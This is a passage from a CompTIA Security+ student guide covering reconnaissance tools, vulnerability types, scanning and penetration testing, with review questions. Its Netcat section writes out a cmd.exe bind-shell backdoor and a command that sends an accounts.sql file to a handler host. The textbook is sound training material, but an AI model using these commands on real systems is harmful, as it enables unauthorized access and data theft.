Note that not all hosts respond to ICMP probes. (Screenshot used with permission from Microsoft.)
For more information about commands, including syntax usage, look up the command in
an online resource for Windows (docs.microsoft.com/en-us/windows-server/administration/
windows-commands/windows-commands) or Linux (linux.die.net/man).
Output from the route command on a Linux host. Most endpoints have a simple routing table, similar
to this. It shows the default route (0.0.0.0/0) via the host configured as the default gateway (10.1.0.254)
over the network interface eth0. The second line of the table shows the subnet for local traffic
(10.1.0.0/24). This network is directly connected, represented by the 0.0.0.0 gateway.
• tracert—uses ICMP probes to report the round trip time (RTT) for hops between the
local host and a host on a remote network. tracert is the Windows version of
the tool.
• pathping—provides statistics for latency and packet loss along a route over a
longer measuring period. pathping is a Windows tool; the equivalent on Linux
is mtr.
In a security context, high latency at the default gateway compared to a baseline might
indicate a man-in-the-middle attack. High latency on other hops could be a sign of
denial or service, or could just indicate network congestion.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
38 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
In Linux, commands such as ifconfig, arp, route, and traceroute are deprecated and
the utilities have not been updated for some years. The iproute2 suite of tools supply
replacements for these commands (digitalocean.com/community/tutorials/how-to-use-
iproute2-tools-to-manage-network-configuration-on-a-linux-vps).
Nmap default scan listing open ports from within the default range. (Screenshot Nmap nmap.org.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 39
• UDP scans (-sU)—scan UDP ports. As these do not use ACKs, Nmap needs to wait
for a response or timeout to determine the port state, so UDP scanning can take a
long time. A UDP scan can be combined with a TCP scan.
• Port range (-p)—by default, Nmap scans 1000 commonly used ports, as listed in its
configuration file. Use the -p argument to specify a port range.
• Application name and version—the software operating the port, such as Apache
web server or Internet Information Services (IIS) web server.
• Device type—not all network devices are PCs. Nmap can identify switches and
routers or other types of networked devices, such as NAS boxes, printers, and
webcams.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
40 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
netstat command running on Windows showing activity during an nmap scan. The findstr function
is being used to filter the output (to show only connections from IPv4 hosts on the same subnet).
(Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 41
On Linux, use of netstat is deprecated in favor of the ss command from the iptools2 suite
(linux.com/topic/networking/introduction-ss-command).
Testing whether the name server for comptia.org will allow a zone transfer.
(Screenshot used with permission from Microsoft.)
theHarvester
theHarvester is a tool for gathering open-source intelligence (OSINT) for a particular
domain or company name (github.com/laramies/theHarvester). It works by scanning
multiple public data sources to gather emails, names, subdomains, IPs, URLs and other
relevant data.
dnsenum
While you can use tools such as dig and whois to query name records and hosting
details and to check that external DNS services are not leaking too much information,
a tool such as dnsenum packages a number of tests into a single query (github.com/
fwaeytens/dnsenum). As well as hosting information and name records, dnsenum can
try to work out the IP address ranges that are in use.
scanless
Port scanning is difficult to conceal from detection systems, unless it is performed
slowly and results gathered over an extended period. Another option is to disguise the
source of probes. To that end, scanless is a tool that uses third-party sites (github.com/
vesche/scanless). This sort of tool is also useful for in a defensive sense by scanning for
ports and services that are open, but shouldn't be.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
42 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
curl
curl is a command-line client for performing data transfers over many types of
protocol (curl.haxx.se). This tool can be used to submit HTTP GET, POST, and PUT
requests as part of web application vulnerability testing. curl supports many other
data transfer protocols, including FTP, IMAP, LDAP, POP3, SMB, and SMTP.
Nessus
The list of services and version information that a host is running can be cross-
checked against lists of known software vulnerabilities. This type of scanning is
usually performed using automated tools. Nessus, produced by Tenable Network
Security (tenable.com/products/nessus/nessus-professional), is one of the best-known
commercial vulnerability scanners. It is available in on-premises (Nessus Manager)
and cloud (Tenable Cloud) versions, as well as a Nessus Professional version, designed
for smaller networks. The product is free to use for home users but paid for on a
subscription basis for enterprises. As a previously open-source program, Nessus also
supplies the source code for many other scanners.
Packet and protocol analysis depends on a sniffer tool to capture and decode the
frames of data. Network traffic can be captured from a host or from a network
segment. Using a host means that only traffic directed at that host is captured.
Capturing from a network segment can be performed by a switched port analyzer
(SPAN) port (or mirror port). This means that a network switch is configured to copy
frames passing over designated source ports to a destination port, which the packet
sniffer is connected to. Sniffing can also be performed over a network cable segment
by using a test access port (TAP). This means that a device is inserted in the cabling to
copy frames passing over it. There are passive and active (powered) versions.
Typically, sniffers are placed inside a firewall or close to a server of particular
importance. The idea is usually to identify malicious traffic that has managed to
get past the firewall. A single sniffer can generate an exceptionally large amount of
data, so you cannot just put multiple sensors everywhere in the network without
provisioning the resources to manage them properly. Depending on network size and
resources, one or just a few sensors will be deployed to monitor key assets or network
paths.
tcpdump is a command-line packet capture utility for Linux (linux.die.net/man/8/
tcpdump). The basic syntax of the command is tcpdump -i eth0, where
eth0 is the interface to listen on. The utility will then display captured packets until
halted manually (Ctrl+C). Frames can be saved to a .pcap file using the -w option.
Alternatively, you can open a pcap file using the -r option.
tcpdump is often used with some sort of filter expression to reduce the number of
frames that are captured:
• Type—filter by host, net, port, or portrange.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 43
• Protocol—filter by a named protocol rather than port number (for example, arp,
icmp, ip, ip6, tcp, udp, and so on).
Filter expressions can be combined by using Boolean operators:
• and (&&)
• or (||)
• not (!)
Filter syntax can be made even more detailed by using parentheses to group
expressions. A complex filter expression should be enclosed by quotes. For example,
the following command filters frames to those with the source IP 10.1.0.100 and
destination port 53 or 80:
tcpdump -i eth0 "src host 10.1.0.100 and (dst port
53 or dst port 80)"
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
44 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Another useful option is to use the Follow TCP Stream context command to
reconstruct the packet contents for a TCP session.
The PCAP file format has some limitations, which has led to the development of PCAP Next
Generation (PCAPNG). Wireshark now uses PCAPNG by default, and tcpdump can process
files in the new format too (cloudshark.io/articles/5-reasons-to-move-to-pcapng).
hping
hping is an open-source spoofing tool that provides a penetration tester with the
ability to craft network packets to exploit vulnerable firewalls and IDSs. hping can
perform the following types of test:
• Host/port detection and firewall testing—like Nmap, hping can be used to probe
IP addresses and TCP/UDP ports for responses.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 45
tcpreplay
As the name suggests, tcpreplay takes previously captured traffic that has been saved
to a .pcap file and replays it though a network interface (linux.die.net/man/1/tcpreplay).
Optionally, fields in the capture can be changed, such as substituting MAC or IP
addresses. tcpreplay is useful for analysis purposes. If you have captured suspect
traffic, you can replay it through a monitored network interface to test intrusion
detection rules.
Exploitation Frameworks
A remote access trojan (RAT) is malware that gives an adversary the means of
remotely accessing the network. From the perspective of security posture assessment,
a penetration tester might want to try to establish this sort of connection and attempt
to send corporate information over the channel (data exfiltration). If security controls
are working properly, this attempt should be defeated (or at least detected).
An exploitation framework uses the vulnerabilities identified by an automated
scanner and launches scripts or software to attempt to deliver matching exploits. This
might involve considerable disruption to the target, including service failure, and risk
data security.
The framework comprises a database of exploit code, each targeting a particular
CVE (Common Vulnerabilities and Exposures). The exploit code can be coupled with
modular payloads. Depending on the access obtained via the exploit, the payload code
may be used to open a command shell, create a user, install software, and so on. The
custom exploit module can then be injected into the target system. The framework
may also be able to obfuscate the code so that it can be injected past an intrusion
detection system or anti-virus software.
The best-known exploit framework is Metasploit (metasploit.com). The platform
is open-source software, now maintained by Rapid7. There is a free framework
(command-line) community edition with installation packages for Linux and Windows.
Rapid7 produces pro and express commercial editions of the framework and it can be
closely integrated with the Nexpose vulnerability scanner.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
46 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Zed Attack Proxy (ZAP)—scanning tools and scripts for web application and mobile
app security testing (owasp.org/www-project-zap).
Netcat
One simple but effective tool for testing connectivity is Netcat (nc), available for both
Windows and Linux. Netcat can be used for port scanning and fingerprinting. For
example, the following command attempts to connect to the HTTP port on a server and
return any banner by sending the "head" HTTP keyword:
echo "head" | nc 10.1.0.1 -v 80
Netcat can also establish connections with remote machines. To configure Netcat as a
backdoor, you first set up a listener on the victim system (IP: 10.1.0.1) set to pipe traffic
from a program, such as the command interpreter, to its handler:
nc -l -p 666 -e cmd.exe
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 47
The following command connects to the listener and grants access to the terminal:
nc 10.1.0.1 666
Used the other way around, Netcat can be used to receive files. For example, on the
target system the attacker runs the following:
type accounts.sql | nc 10.1.0.192 6666
On the handler (IP 10.1.0.192), the attacker receives the file using the following
command:
nc -l -p 6666 > accounts.sql
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
48 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Organizational Security with Network
Reconnaissance Tools
Answer the following questions:
1. You suspect that a rogue host is acting as the default gateway for a subnet
in a spoofing attack. What command-line tool(s) can you use from a
Windows client PC in the same subnet to check the interface properties of
the default gateway?
2. You suspect the rogue host is modifying traffic before forwarding it, with
the side effect of increasing network latency. Which tool could you use to
measure latency on traffic routed from this subnet?
3. What type of tool could you use to fingerprint the host acting as the default
gateway?
4. You are investigating a Linux server that is the source of suspicious network
traffic. At a terminal on the server, which tool could you use to check which
process is using a given TCP port?
5. What is a zone transfer and which reconnaissance tools can be used to test
whether a server will allow one?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 49
7. You are developing new detection rules for a network security scanner.
Which tool will be of use in testing whether the rules match a malicious
traffic sample successfully?
8. What security posture assessment could a pen tester make using Netcat?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
50 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 3B
Explain Security Concerns with General
Vulnerability Types
• Firmware—vulnerabilities can exist in the BIOS/UEFI firmware that controls the boot
process for PCs. There can also be bugs in device firmware, such as network cards
and disk controllers. Finally, network appliances and Internet of Things (IoT) devices
run OS code as a type of firmware. Like kernel vulnerabilities, firmware exploits
can be difficult to identify, because the exploit code can run with the highest
level of privilege. The Intel AMT vulnerability illustrates the impacts of a firmware
vulnerability (blackhat.com/docs/us-17/thursday/us-17-Evdokimov-Intel-AMT-
Stealth-Breakthrough-wp.pdf).
Most vulnerabilities are discovered by software and security researchers, who notify
the vendor to give them time to patch the vulnerability before releasing details
to the wider public. Improper or weak patch management is an additional layer
of vulnerability where these security patches are not applied to systems, leaving
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 51
them vulnerable to exploits. Poor configuration management may mean that the
organization is simply not documenting and managing its assets rigorously. Patches
may be deployed to some systems, but not others. Patches may be applied and then
removed because they cause performance issues.
The term zero-day is usually applied to the vulnerability itself but can also refer to an attack
or malware that exploits it. The EternalBlue zero-day exploit makes for an instructive case
study (wired.com/story/eternalblue-leaked-nsa-spy-tool-hacked-world).
Zero-day vulnerabilities have significant financial value. A zero-day exploit for a mobile
OS can be worth millions of dollars. Consequently, an adversary will only use a zero-
day vulnerability for high value attacks. State security and law enforcement agencies
are known to stockpile zero-days to facilitate the investigation of crimes.
A legacy platform is one that is no longer supported with security patches by its
developer or vendor. This could be a PC/laptop/smartphone, networking appliance,
peripheral device, Internet of Things device, operating system, database/programming
environment, or software application. By definition, legacy platforms are unpatchable.
Such systems are highly likely to be vulnerable to exploits and must be protected
by security controls other than patching, such as isolating them to networks that an
attacker cannot physically connect to.
Default Settings
Relying on the manufacturer default settings when deploying an appliance or software
applications is one example of weak configuration. It is not sufficient to rely on the
vendor to ship products in a default-secure configuration, though many now do.
Default settings may leave unsecure interfaces enabled that allow an attacker to
compromise the device. Network appliances with weak settings can allow attackers to
move through the network unhindered and snoop on traffic.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
52 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
account is usually disabled for login. Even if this type of account is enabled for local
(interactive) login, it should not be accessible via remote login mechanisms.
Open Permissions
Open permissions refers to provisioning data files or applications without
differentiating access rights for user groups. Permissions systems can be complex
and it is easy to make mistakes, such as permitting unauthenticated guests to view
confidential data files, or allowing write access when only read access is appropriate.
This issue is particularly prevalent on cloud storage, where administrators used to
Windows and Linux directory access control lists may be unfamiliar with the cloud
equivalents (directdefense.com/how-to-prevent-exploitation-of-amazon-s3-buckets-
with-weak-permissions).
• Disable services that are installed by default but that are not needed. Ideally, disable
the service on the server itself, but in some circumstances it may be necessary to
block the port using a firewall instead.
• For services that should only be available on the private network, block access to
ports at border firewalls or segment the network so that the servers cannot be
accessed from external networks.
Unsecure Protocols
An unsecure protocol is one that transfers data as cleartext; that is, the protocol does
not use encryption for data protection. Lack of encryption also means that there is
no secure way to authenticate the endpoints. This allows an attacker to intercept and
modify communications, acting as man-in-the-middle (MITM).
Weak Encryption
Encryption algorithms protect data when it is stored on disk or transferred over
a network. Encrypted data should only be accessible to someone with the correct
decryption key. Weak encryption vulnerabilities allow unauthorized access to data.
Such vulnerabilities arise in the following circumstances:
• The key is generated from a simple password, making it vulnerable to guessing
attempts by brute-force enumeration (if the password is too short) or dictionary
enumeration (if the password is not complex).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 53
• The algorithm or cipher used for encryption has known weaknesses that allow
brute-force enumeration.
• The key is not distributed securely and can easily fall into the hands of people who
are not authorized to decrypt the data.
Errors
Weakly configured applications may display unformatted error messages under
certain conditions. These error messages can be revealing to threat actors probing for
vulnerabilities and coding mistakes. Secure coding practices should ensure that if an
application fails, it does so "gracefully" without revealing information that could assist
the development of an exploit.
• Data exfiltration is the methods and tools by which an attacker transfers data
without authorization from the victim's systems to an external network or media.
Unlike a data breach, a data exfiltration event is always intentional and malicious. A
data breach is a consequence of a data exfiltration event.
Data breach includes a wide range of scenarios with different levels of impact. The
most severe data breaches compromise valuable intellectual property (IP) or the
personal information of account holders.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
54 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Third-Party Risks
High-profile breaches have led to a greater appreciation of the importance of the
supply chain in vulnerability management. A product, or even a service, may have
components created and maintained by a long chain of different companies. Each
company in the chain depends on its suppliers or vendors performing due diligence on
their vendors. A weak link in the chain could cause impacts on service availability and
performance, or in the worst cases lead to data breaches.
Vendor Management
Vendor management is a process for selecting supplier companies and evaluating
the risks inherent in relying on a third-party product or service. When it comes to data
and cybersecurity, you must understand that risks cannot be wholly transferred to the
vendor. If a data storage vendor suffers a data breach, you may be able to claim costs
from them, but your company will still be held liable in terms of legal penalties and
damage to reputation. If your webstore suffers frequent outages because of failures at
a hosting provider, it is your company's reputation that will suffer and your company
that will lose orders because customers look elsewhere.
A vendor may supply documentation and certification to prove that it has implemented
a security policy robustly. You might be able to see evidence of security capabilities,
such as a history of effective vulnerability management and product support. Larger
companies will usually ask vendors to complete a detailed audit process to ensure that
they meet the required standards.
Within vendor management, system integration refers to the process of using
components/services from multiple vendors to implement a business workflow. For
example, a workflow allowing customers to make online purchases might involve the
storefront product, a web application firewall, cloud data processing and analytics,
plus integration with on-premises accounting and customer relationship management
(CRM) and support ticketing systems. The contracting company may have a list of
preferred vendors and ask a third-party systems integrator to build and support the
solution. Alternatively, systems integration might be fully outsourced, with the third-
party integrator also selecting their preferred vendors for the component parts. The
principal risk in both these scenarios is that the contracting company does not have
sufficient expertise to oversee the project and places too much trust in the third-party
integrator.
When a vendor has become deeply embedded within a workflow, lack of vendor
support can have serious impacts, as retooling the workflow to use a different vendor
can be a long and complex process. Vendors may become unsupportive for any
number of reasons. For example, their company might be growing too quickly and
resources are spread too thinly, they may drop support for products that are not
profitable, they may have overstated capabilities in terms of security, and so on. The
key point for vendor management is to assess these risks when determining whether
to outsource all or part of a workflow and to have contingency plans if a vendor does
not perform as expected.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 55
Data Storage
There are two main scenarios for risks to data when using third-parties. First, you may
need to grant vendor access to your data, and second, you may use a vendor to host
data or data backups and archives. The following general precautions should be taken:
• Ensure the same protections for data as though it were stored on-premises,
including authorization and access management and encryption.
• Monitor and audit third-party access to data storage to ensure it is being used only
in compliance with data sharing agreements and non-disclosure agreements.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
56 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Security Concerns with General
Vulnerability Types
Answer the following questions:
4. You are advising a customer on backup and disaster recovery solutions. The
customer is confused between data breaches and data loss and whether the
backup solution will protect against both. What explanation can you give?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 57
Topic 3C
Summarize Vulnerability
Scanning Techniques
Automated vulnerability scanning is a key part of both initial security assessment and
ongoing compliance monitoring. You should be able to summarize types of scanners
and explain the impact of scan configurations. You should also be able to contribute to
threat hunting security assessments and explain how they can be supported by threat
intelligence platforms.
Security Assessments
Network reconnaissance and discovery is used to identify hosts, network topology,
and open services/ports, establishing an overall attack surface. Various types of
security assessments can be used to test these hosts and services for vulnerabilities.
There are many models and frameworks for conducting security assessments. A good
starting point is NIST's Technical Guide to Information Security Testing and Assessment
(nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf). SP 800-115
identifies three principal activities within an assessment:
• Testing the object under assessment to discover vulnerabilities or to prove the
effectiveness of security controls.
• Examining assessment objects to understand the security system and identify any
logical weaknesses. This might highlight a lack of security controls or a common
misconfiguration.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
58 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Greenbone OpenVAS vulnerability scanner with Security Assistant web application interface as installed
on Kali Linux. (Screenshot used with permission from Greenbone Networks, http://www.openvas.org.)
The first phase of scanning might be to run a detection scan to discover hosts on a
particular IP subnet. In the next phase of scanning, a target range of hosts is probed
to detect running services, patch level, security configuration and policies, network
shares, unused accounts, weak passwords, anti-virus configuration, and so on.
Each scanner is configured with a database of known software and configuration
vulnerabilities. The tool compiles a report about each vulnerability in its database that
was found to be present on each host. Each identified vulnerability is categorized and
assigned an impact warning. Most tools also suggest remediation techniques. This
information is highly sensitive, so use of these tools and the distribution of the reports
produced should be restricted to authorized hosts and user accounts.
Network vulnerability scanners are configured with information about known
vulnerabilities and configuration weaknesses for typical network hosts. These scanners
will be able to test common operating systems, desktop applications, and some
server applications. This is useful for general purpose scanning, but some types of
applications might need more rigorous analysis.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 59
The CVE dictionary provides the principal input for NIST's National Vulnerability
Database (nvd.nist.gov). The NVD supplements the CVE descriptions with additional
analysis, a criticality metric, calculated using the Common Vulnerability Scoring
System (CVSS), plus fix information.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
60 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Score Description
0.1+ Low
4.0+ Medium
7.0+ High
9.0+ Critical
Scan intrusiveness is a measure of how much the scanner interacts with the target.
Non-intrusive (or passive) scanning means analyzing indirect evidence, such as the
types of traffic generated by a device. A passive scanner, the Zeek Network Security
Monitor (zeek.org) being one example, analyzes a network capture and tries to identify
policy deviations or CVE matches. This type of scanning has the least impact on the
network and on hosts, but is less likely to identify vulnerabilities comprehensively.
Passive scanning might be used by a threat actor to scan a network stealthily. You might
use passive scanning as a technique where active scanning poses a serious risk to system
stability, such as scanning print devices, VoIP handsets, or embedded systems networks.
Active scanning means probing the device's configuration using some sort of network
connection with the target. Active scanning consumes more network bandwidth and
runs the risk of crashing the target of the scan or causing some other sort of outage.
Agent-based scanning is also an active technique.
The most intrusive type of vulnerability scanner does not stop at detecting a
vulnerability. Exploitation frameworks contain default scripts to try to use a
vulnerability to run code or otherwise gain access to the system. This type of highly
intrusive testing is more typical of penetration testing than automated vulnerability
scanning.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 61
Configuring credentials for use in target (scope) definitions in Greenbone OpenVAS as installed on Kali
Linux. (Screenshot used with permission from Greenbone Networks, http://www.openvas.org.)
Create dedicated network accounts for use by the vulnerability scanner only. Ensure that the
credentials for these accounts are stored securely on the scan server.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
62 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Scan report listing multiple high-severity vulnerabilities found in a Windows host. (Screenshot:
Greenbone Community Edition greenbone.net/en/community-edition.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 63
Configuration Review
As well as matching known software exploits to the versions of software found running
on a network, a vulnerability scan assesses the configuration of security controls and
application settings and permissions compared to established benchmarks. It might
try to identify whether there is a lack of controls that might be considered necessary or
whether there is any misconfiguration of the system that would make the controls less
effective or ineffective, such as anti-virus software not being updated, or management
passwords left configured to the default. Generally speaking, this sort of testing
requires a credentialed scan. It also requires specific information about best practices
in configuring the particular application or security control. These are provided by
listing the controls and appropriate configuration settings in a template.
Security content automation protocol (SCAP) allows compatible scanners to determine
whether a computer meets a configuration baseline. SCAP uses several components to
accomplish this function, but some of the most important are:
• Open Vulnerability and Assessment Language (OVAL)—an XML schema for
describing system security state and querying vulnerability reports and information.
Comparing a local network security policy to a template. The minimum password length set
in the local policy is much less than is recommended in the template.
(Screenshot used with permission from Microsoft.)
Some scanners measure systems and configuration settings against best practice
frameworks. This is referred to as a compliance scan. This might be necessary for
regulatory compliance or you might voluntarily want to conform to externally agreed
standards of best practice.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
64 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Threat Hunting
Where vulnerability scanning uses lists of patches and standard definitions of baseline
configurations, threat hunting is an assessment technique that utilizes insights
gained from threat intelligence to proactively discover whether there is evidence of
TTPs already present within the network or system. This contrasts with a reactive
process that is only triggered when alert conditions are reported through an incident
management system. You can also contrast threat hunting with penetration testing.
Where a pen test attempts to achieve some sort of system intrusion or concrete
demonstration of weakness, threat hunting is based only on analysis of data within the
system. To that extent, it is less potentially disruptive than pen testing.
A threat hunting project is likely to be led by senior security analysts, but some general
points to observe include:
• Advisories and bulletins—threat hunting is a labor-intensive activity and so needs
to be performed with clear goals and resources. Threat hunting usually proceeds
according to some hypothesis of possible threat. Security bulletins and advisories
from vendors and security researchers about new TTPs and/or vulnerabilities may
be the trigger for establishing a threat hunt. For example, if threat intelligence
reveals that Windows desktops in many companies are being infected with a new
type of malware that is not being blocked by any current malware definitions, you
might initiate the following threat-hunting plan to detect whether the malware is
also infecting your systems.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 65
to correlate threat data against on-premises data from network traffic and logs. This
process may also be partially or wholly automated using AI-assisted analysis and
correlation.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
66 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Vulnerability Scanning Techniques
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 67
Topic 3D
Explain Penetration Testing Concepts
Automated vulnerability scanning does not test what a highly capable threat actor
might be able to achieve. Penetration testing is a type of assessment that adopts
known tactics and techniques to attempt intrusions. Devising, planning, and leading
penetration tests is a specialized security role, but at a junior level you are likely
to participate in this type of engagement, so you should be able to explain the
fundamental principles.
Penetration Testing
A penetration test—often shortened to pen test—uses authorized hacking techniques
to discover exploitable weaknesses in the target's security systems. Pen testing is also
referred to as ethical hacking. A pen test might involve the following steps:
• Verify a threat exists—use surveillance, social engineering, network scanners, and
vulnerability assessment tools to identify a vector by which vulnerabilities that could
be exploited.
• Bypass security controls—look for easy ways to attack the system. For example, if
the network is strongly protected by a firewall, is it possible to gain physical access
to a computer in the building and run malware from a USB stick?
The key difference from passive vulnerability assessment is that an attempt is made
to actively test security controls and exploit any vulnerabilities discovered. Pen testing
is an intrusive assessment technique. For example, a vulnerability scan may reveal
that an SQL Server has not been patched to safeguard against a known exploit. A
penetration test would attempt to use the exploit to perform code injection and
compromise and "own" (or "pwn" in hacker idiom) the server. This provides active
testing of security controls. Even though the potential for the exploit exists, in practice
the permissions on the server might prevent an attacker from using it. This would not
be identified by a vulnerability scan, but should be proven or not proven to be the case
by penetration testing.
Rules of Engagement
Security assessments might be performed by employees or may be contracted to
consultants or other third parties. Rules of engagement specify what activity is
permitted or not permitted. These rules should be made explicit in a contractual
agreement. For example, a pen test should have a concrete objective and scope rather
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
68 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
than a vague type of "Break into the network" aim. There may be systems and data
that the penetration tester should not attempt to access or exploit. Where a pen test
involves third-party services (such as a cloud provider), authorization to conduct the
test must also be sought from the third party.
The Pentest-Standard website provides invaluable commentary on the conduct of pen tests
(pentest-standard.readthedocs.io/en/latest/tree.html).
Attack Profile
Attacks come from different sources and motivations. You may wish to test both
resistance to external (targeted and untargeted) and insider threats. You need to
determine how much information about the network to provide to the consultant:
• Black box (or unknown environment)—the consultant is given no privileged
information about the network and its security systems. This type of test would
require the tester to perform a reconnaissance phase. Black box tests are useful for
simulating the behavior of an external threat.
A test where the attacker has no knowledge of the system but where staff are informed
that a test will take place is referred to as a blind (or single-blind) test. A test where staff
are not made aware that a pen test will take place is referred to as a double-blind test.
Bug Bounty
A bug bounty is a program operated by a software vendor or website operator where
rewards are given for reporting vulnerabilities. Where a pen test is performed on a
contractual basis, costed by the consultant, a bug bounty program is a way of crowd
sourcing detection of vulnerabilities. Some bug bounties are operated as internal
programs, with rewards for employees only. Most are open to public submissions
(tripwire.com/state-of-security/security-data-protection/cyber-security/essential-bug-
bounty-programs).
Exercise Types
Some of the techniques used in penetration testing may also be employed as an
exercise between two competing teams:
• Red team—performs the offensive role to try to infiltrate the target.
There will also often be a white team, which sets the rules of engagement and
monitors the exercise, providing arbitration and guidance, if necessary. If the red team
is third party, the white team will include a representative of the consultancy company.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 69
One critical task of the white team is to halt the exercise should it become too risky. For
example, an actual threat actor may attempt to piggyback a backdoor established by
the red team.
In a red versus blue team exercise, the typical process is for the red team to attempt
the intrusion and either succeed or fail, and then to write a summary report. This
confrontational structure does not always promote constructive development and
improvement. In a purple team exercise, the red and blue teams meet for regular
debriefs while the exercise is ongoing. The red team might reveal where they have been
successful and collaborate with the blue team on working out a detection mechanism.
This process might be assisted by purple team members acting as facilitators. The
drawback of a purple team exercise is that without blind or double-blind conditions,
there is no simulation of a hostile adversary and the stresses of dealing with that.
• War driving—mapping the location and type (frequency channel and security
method) of wireless networks operated by the target. Some of these networks may
be accessible from outside the building. Simply sniffing the presence of wireless
networks is a passive activity, though there is the risk of being observed by security
guards or cameras. An attacker might be able to position rogue access points, such
as the Hak5 Pineapple (shop.hak5.org/products/wifi-pineapple), or perform other
wireless attacks using intelligence gathered from war driving.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
70 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
around premises, with the expectation that at least some of them will be picked up
and used (blackhat.com/docs/us-16/materials/us-16-Bursztein-Does-Dropping-USB-
Drives-In-Parking-Lots-And-Other-Places-Really-Work.pdf).
• Pivoting—hosts that hold the most valuable data are not normally able to access
external networks directly. If the pen tester achieves a foothold on a perimeter
server, a pivot allows them to bypass a network boundary and compromise servers
on an inside network. A pivot is normally accomplished using remote access and
tunneling protocols, such as Secure Shell (SSH), virtual private networking (VPN), or
remote desktop.
• Actions on Objectives—for a threat actor, this means stealing data from one or
more systems (data exfiltration). From the perspective of a pen tester, it would be a
matter of the scope definition whether this would be attempted. In most cases, it is
usually sufficient to show that actions on objectives could be achieved.
• Cleanup—for a threat actor, this means removing evidence of the attack, or at least
evidence that could implicate the threat actor. For a pen tester, this phase means
removing any backdoors or tools and ensuring that the system is not less secure
than the pre-engagement state.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 71
Review Activity:
Penetration Testing Concepts
Answer the following questions:
1. A website owner wants to evaluate whether the site security mitigates risks
from criminal syndicates, assuming no risk of insider threat. What type of
penetration testing engagement will most closely simulate this adversary
capability and resources?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
72 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 3
Summary
